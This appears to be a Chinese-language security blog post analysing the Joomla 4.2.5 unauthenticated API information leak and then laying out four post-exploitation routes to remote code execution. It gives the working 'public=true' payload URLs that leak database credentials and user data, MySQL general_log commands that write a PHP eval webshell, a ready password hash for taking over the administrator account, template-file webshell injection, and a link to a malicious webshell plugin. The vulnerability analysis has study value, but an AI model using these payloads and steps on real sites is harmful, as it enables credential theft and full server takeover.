前言

joomla未授权披露已经有一个多月了吧，本身的未授权来讲比较简单，分析起来也很简单，跟下去就可以看到漏洞触发点以及原因，但是前两天在刷twitter的时候看到了这样的一篇文章从joomla未授权到RCE，所以就想着再来聊一聊joomla后渗透。

请遵守法律法规，文章仅供安全防范与学习，严禁非法使用，后果自负。

复现分析

环境

phpstudy+apache+mysql+php7.3.4

在安装joomla的时候要求版本大于7.2.5,这里joomla使用的版本为4.2.5

配置登录数据

配置数据库

配置后直接访问首页

http://joomla.org:8088/

未授权路径，payload：

/api/index.php/v1/config/application?public=true 

在api路径下的多个路径未授权，需满足public=true,开启debug下断点调试。这里需要注意的地方在于因为php要求版本必须大于7.2.5

所以xdebug2的版本配置是无法正常进行debug的，所以这里放上php.ini中的xdebug的配置

[XDebug]
zend_extension = "E:phpstudy_proExtensionsphpphp7.3.4ntsextphp_xdebug-3.1.6-7.3-vc15-nts-x86_64.dll" 
xdebug.mode=debug
xdebug.start_with_request=default
xdebug.client_host=localhost
xdebug.client_port=9001
xdebug.remote_handler=dbgp
xdebug.idekey="PHPSTORM"

xdebug2和3的区别还是比较明显，但是配置方面更加简单。

http://joomla.org:8088/api/index.php/v1/config/application?public=true

泄露mysql数据库库名、用户名、密码以及前缀等，下断点分析一下。

apiincludesapp.php

下断点，基本上调用栈

ApiApplication.php:296, JoomlaCMSApplicationApiApplication->route()
ApiApplication.php:107, JoomlaCMSApplicationApiApplication->doExecute()
CMSApplication.php:294, JoomlaCMSApplicationCMSApplication->execute()
app.php:53, require_once()
index.php:31, {main}()

走完296的if判断，走可以实现未授权读取敏感数据了。

通过调用栈的代码可以看出，其实在通过文件包含读取app.php,实例化应用程序

向下跟进53行F7跟进，调用excute方法

294行继续F7跟进，在doExcute方法寻找路由

在107行调用方法route,在这个方法中获取到控制层传入的参数以及方法

向下调试，239行在方法parseApiRoute中处理路由

可以看到在走循环的时候，默认的public值为false，但是当走到116行的时候

通过array_merge()函数将public的值覆盖掉成为了通过GET传入的ture值

最终通过librariessrcApplicationApiApplication.php的296行的if语句去实现鉴权，是否存在public变量，且当值为ture时实现鉴权。

最终实现通过前端未授权获取敏感数据信息。

RCE-主菜

前面提到了，因为最终的鉴权只是针对控制层通过传参的public值为true，漏洞成因是变量覆盖掉默认的false值，所以当想要满足最后的297行的if条件那么很多未授权api可以访问

RCE-1

当已知mysql的账号密码的时候，安装环境为phpmyadmin的时候

show variables like '%general%'; 
set global general_log = on;
set global general_log_file = 'D:/phpstudy_pro/WWW/joomla_425/shell.php';
select '<?php eval($_POST[x]);?>';

条件：joomla数据库的账号有写权限以及需要知道网站路径，另外mysql到webshell的几种方式均可以尝试，只要条件满足均可

RCE-2

获取到数据账号密码登录数据库，这众方法通过web应用后端RCE实现。

登录数据库，修改管理员用户的密码，登录管理端后台

修改用户的密码，当然这里用户的密码是经过joomla的加密方式进行hash加密的

简单搜索一下是能够看出来的，这里我对比了一下前几个版本的代码，加密方式的话没有变化，其实这里的直接使用老版本的加密方式加密的密码直接更换即可

testtesttest::$2y$10$CUwvh7ERwtIBBKcJ713ehexh0DgfRHLH4kUPIEMGsgIVSBfGj4e.6

更换密码即可

更换密码后登录成功。

修改后端模板文件实现RCE

http://joomla.org:8088/administrator/index.php?option=com_templates&view=template&id=223&file=Ly9pbmRleC5waHA%3D&isMedia=0

写入一句话

RCE-3

https://github.com/p0dalirius/Joomla-webshell-plugin

安装恶意的插件

Joomla webshell plugin for RCE

在扩展的位置添加恶意的插件，从而实现webshell

上传插件即可实现RCE

该截图来自于github

RCE-4

这种方式是基于社工类的爆破来实现的

curl http://joomla.org:8088/api/index.php/v1/users?public=true

api接口未授权泄露了user的信息，这种方式可以不依赖数据库的利用方式进行RCE,结合第二种或者第三种的利用方式来实现rce

小结

发散思路，从前端未授权开始，假如不依赖数据库和模板的这种思路，是否还有其他RCE方式，欢迎分享。